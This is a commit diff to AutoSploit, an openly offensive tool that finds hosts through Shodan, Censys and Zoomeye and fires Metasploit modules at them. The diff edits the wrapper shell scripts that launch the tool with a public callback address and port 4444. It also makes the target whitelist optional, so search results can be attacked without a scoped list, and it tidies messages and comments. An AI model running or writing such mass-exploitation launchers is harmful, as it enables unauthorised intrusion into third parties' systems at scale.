some updates for everything, PEPing and bashing syntax

Author: ekultek

dryrun_autosploit.sh

@@ -1,28 +1,29 @@
 #!/usr/bin/env bash
 
 
-if [[ $# -lt 2 ]]; then
+if [[ $# -lt 1 ]]; then
     echo "Syntax:"
-    echo -e "\t./dryrun_autosploit.sh <whitelist.txt> <search_query>"
+    echo -e "\t./dryrun_autosploit.sh <search_query> [whitelist]"
 	exit 1
 fi
 
-WHITELIST=$1
-SEARCH_QUERY=$2
+echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue";
+read
+
+WHITELIST=$2
+SEARCH_QUERY=$1
 LPORT=4444
 
 LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
 TIMESTAMP=`date +%s`
 
 
-echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \
-    --whitelist $WHITELIST -e \
-    -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \
-    --exploit-file-to-use etc/json/default_modules.json \
-    --dry-run"
+if [ ! $WHITELIST ]; then
+  echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run"
+
+  python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run
+else
+    echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run"
 
-python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \
-    --whitelist $WHITELIST -e \
-    -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \
-    --exploit-file-to-use etc/json/default_modules.json \
-    --dry-run
+  python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run
+fi;

lib/cmdline/cmd.py

@@ -26,7 +26,7 @@ def optparser():
 
         parser = argparse.ArgumentParser(
             usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n"
-                  "{spacer}[-C] WORKSPACE LHOST LPORT [-e]\n"
+                  "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitelist]\n"
                   "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n"
                   "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format(
                     spacer=" " * 28
@@ -89,10 +89,10 @@ def parse_provided(opt):
         parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan])
 
         if opt.rubyExecutableNeeded and opt.pathToFramework is None:
-            lib.settings.close("if the Ruby exec is needed, so is that path to metasploit, pass the `--msf-path` switch")
+            lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch")
         if opt.pathToFramework is not None and not opt.rubyExecutableNeeded:
             lib.settings.close(
-                "if you need the metasploit path, you also need the executable. pass the `--ruby-exec` switch"
+                "if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch"
             )
         if opt.personalAgent is not None and opt.randomAgent:
             lib.settings.close("you cannot use both a personal agent and a random agent, choose only one")
@@ -106,7 +106,9 @@ def parse_provided(opt):
         if opt.startExploit and opt.msfConfig is None:
             lib.settings.close(
                 "you must provide the configuration for metasploit in order to start the exploits "
-                "do so by passing the `-C\--config` switch IE -C default 127.0.0.1 8080"
+                "do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be "
+                "an idiot and keep in mind that sending connections back to your localhost is "
+                "probably not a good idea"
             )
         if not opt.startExploit and opt.msfConfig is not None:
             lib.settings.close(
@@ -133,7 +135,9 @@ def single_run_args(opt, keys, loaded_modules):
             ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd())
             with open(ethics_file) as ethics:
                 ethic = random.choice(ethics.readlines()).strip()
-                lib.settings.close("Here we have an ethical lesson for you:\n\n{}".format(ethic))
+                lib.settings.close(
+                    "You should take this ethical lesson into consideration "
+                    "before you continue with the use of this tool:\n\n{}\n".format(ethic))
         if opt.exploitList:
             try:
                 lib.output.info("converting {} to JSON format".format(opt.exploitList))
@@ -154,8 +158,7 @@ def single_run_args(opt, keys, loaded_modules):
         elif opt.appendHosts:
             search_save_mode = "a"
 
-        # TODO[4]:// move the searches into their own class and call it from the static method if a search is needed
-        # this is ugly and i wanna change it
+        # changed my mind it's not to bad
         if opt.searchCensys:
             lib.output.info(single_search_msg.format("Censys"))
             api_searches[2](

lib/exploitation/exploiter.py

@@ -38,11 +38,6 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs):
         self.hosts = hosts
         self.configuration = configuration
         self.mods = all_modules
-        # TODO[1]:// fix the relevant module sorting
-        # there's a bug in the way the modules are sorted right here
-        # it creates a temp file wit hthe query name, but if the terminal
-        # is run multiple times, it will not recreate the file and instead
-        # opens an empty
         self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH)
         self.query_file = open(self.query).read()
         self.single = kwargs.get("single", None)

run_autosploit.sh

@@ -1,14 +1,15 @@
 #!/bin/bash
 
 
-# TODO[6] this causes an AttributeError somewhere
-
 if [[ $# -lt 1 ]]; then
     echo "Syntax:"
     echo -e "\t./run_autosploit.sh PORT [WHITELIST]"
 	exit 1
 fi
 
+echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue";
+read
+
 WHITELIST=$2
 LPORT=$1